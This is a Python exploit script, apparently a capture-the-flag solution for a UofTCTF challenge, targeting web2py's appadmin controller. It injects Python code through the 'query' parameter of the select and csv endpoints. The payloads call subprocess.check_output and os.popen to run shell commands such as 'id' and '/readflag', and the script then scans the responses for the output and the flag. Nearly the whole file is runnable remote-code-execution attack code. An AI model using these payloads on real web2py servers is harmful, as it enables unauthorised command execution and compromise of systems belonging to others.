#!/usr/bin/env python3
"""
Exploit for web2py appadmin eval_in_global_env RCE
CVE: TBD (0-day)

Vulnerability: appadmin.py uses eval_in_global_env() which executes user input via exec()
Location: web2py/applications/welcome/controllers/appadmin.py lines 92-115
"""

import requests
import urllib.parse
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

BASE_URL = "https://localhost:5000"

def exploit_rce(command):
    """
    Exploit the appadmin eval_in_global_env RCE
    
    The vulnerability is in the csv() and select() functions which call get_query()
    get_query() passes request.vars.query directly to eval_in_global_env()
    which uses exec() to execute the code.
    """
    
    # Try the select endpoint first
    payload = f"__import__('subprocess').check_output('{command}', shell=True, text=True)"
    
    # We need to access /welcome/appadmin/select with a query parameter
    # The query gets passed to eval_in_global_env via get_query()
    
    # Build the URL - need to provide db name in args
    url = f"{BASE_URL}/welcome/appadmin/select/db"
    params = {
        'query': payload
    }
    
    print(f"[*] Exploiting appadmin RCE")
    print(f"[*] URL: {url}")
    print(f"[*] Payload: {payload}")
    print()
    
    try:
        response = requests.get(url, params=params, verify=False, timeout=10)
        print(f"[*] Status: {response.status_code}")
        print(f"[*] Response length: {len(response.text)} bytes")
        
        # Check if we got output
        if 'uid=' in response.text or 'uoftctf' in response.text.lower():
            print(f"\n[+] SUCCESS! Command output found in response")
            print("=" * 60)
            
            # Try to extract the output
            # The output might be in various places in the HTML
            if 'uid=' in response.text:
                # Find the uid= string and extract context
                idx = response.text.find('uid=')
                print(response.text[max(0, idx-100):idx+200])
            elif 'uoftctf' in response.text.lower():
                idx = response.text.lower().find('uoftctf')
                print(response.text[max(0, idx-100):idx+200])
            
            print("=" * 60)
        else:
            print(f"\n[-] Command may not have executed or output not visible")
            print(f"[*] First 500 chars of response:")
            print(response.text[:500])
            
        return response
        
    except Exception as e:
        print(f"[-] Error: {e}")
        return None

def try_csv_endpoint(command):
    """Try the csv endpoint instead"""
    payload = f"__import__('subprocess').check_output('{command}', shell=True, text=True)"
    
    url = f"{BASE_URL}/welcome/appadmin/csv/db"
    params = {
        'query': payload
    }
    
    print(f"\n[*] Trying CSV endpoint")
    print(f"[*] URL: {url}")
    print(f"[*] Payload: {payload}")
    
    try:
        response = requests.get(url, params=params, verify=False, timeout=10)
        print(f"[*] Status: {response.status_code}")
        print(f"[*] Response: {response.text[:200]}")
        return response
    except Exception as e:
        print(f"[-] Error: {e}")
        return None

print("=" * 60)
print("Web2py Appadmin RCE Exploit")
print("=" * 60)

# Test 1: Execute 'id' command
print("\n[TEST 1] Executing 'id' command")
exploit_rce('id')

# Test 2: Execute '/readflag'
print("\n[TEST 2] Executing '/readflag'")
exploit_rce('/readflag')

# Test 3: Try with different payload format
print("\n[TEST 3] Trying os.popen")
payload = "__import__('os').popen('/readflag').read()"
url = f"{BASE_URL}/welcome/appadmin/select/db"
params = {'query': payload}
response = requests.get(url, params=params, verify=False, timeout=10)
print(f"Status: {response.status_code}")
if 'uoftctf' in response.text.lower():
    idx = response.text.lower().find('uoftctf')
    print("\n[+] FLAG FOUND!")
    print(response.text[max(0, idx-50):idx+100])

# Test 4: Try csv endpoint
print("\n[TEST 4] Trying CSV endpoint")
try_csv_endpoint('/readflag')

print("\n" + "=" * 60)
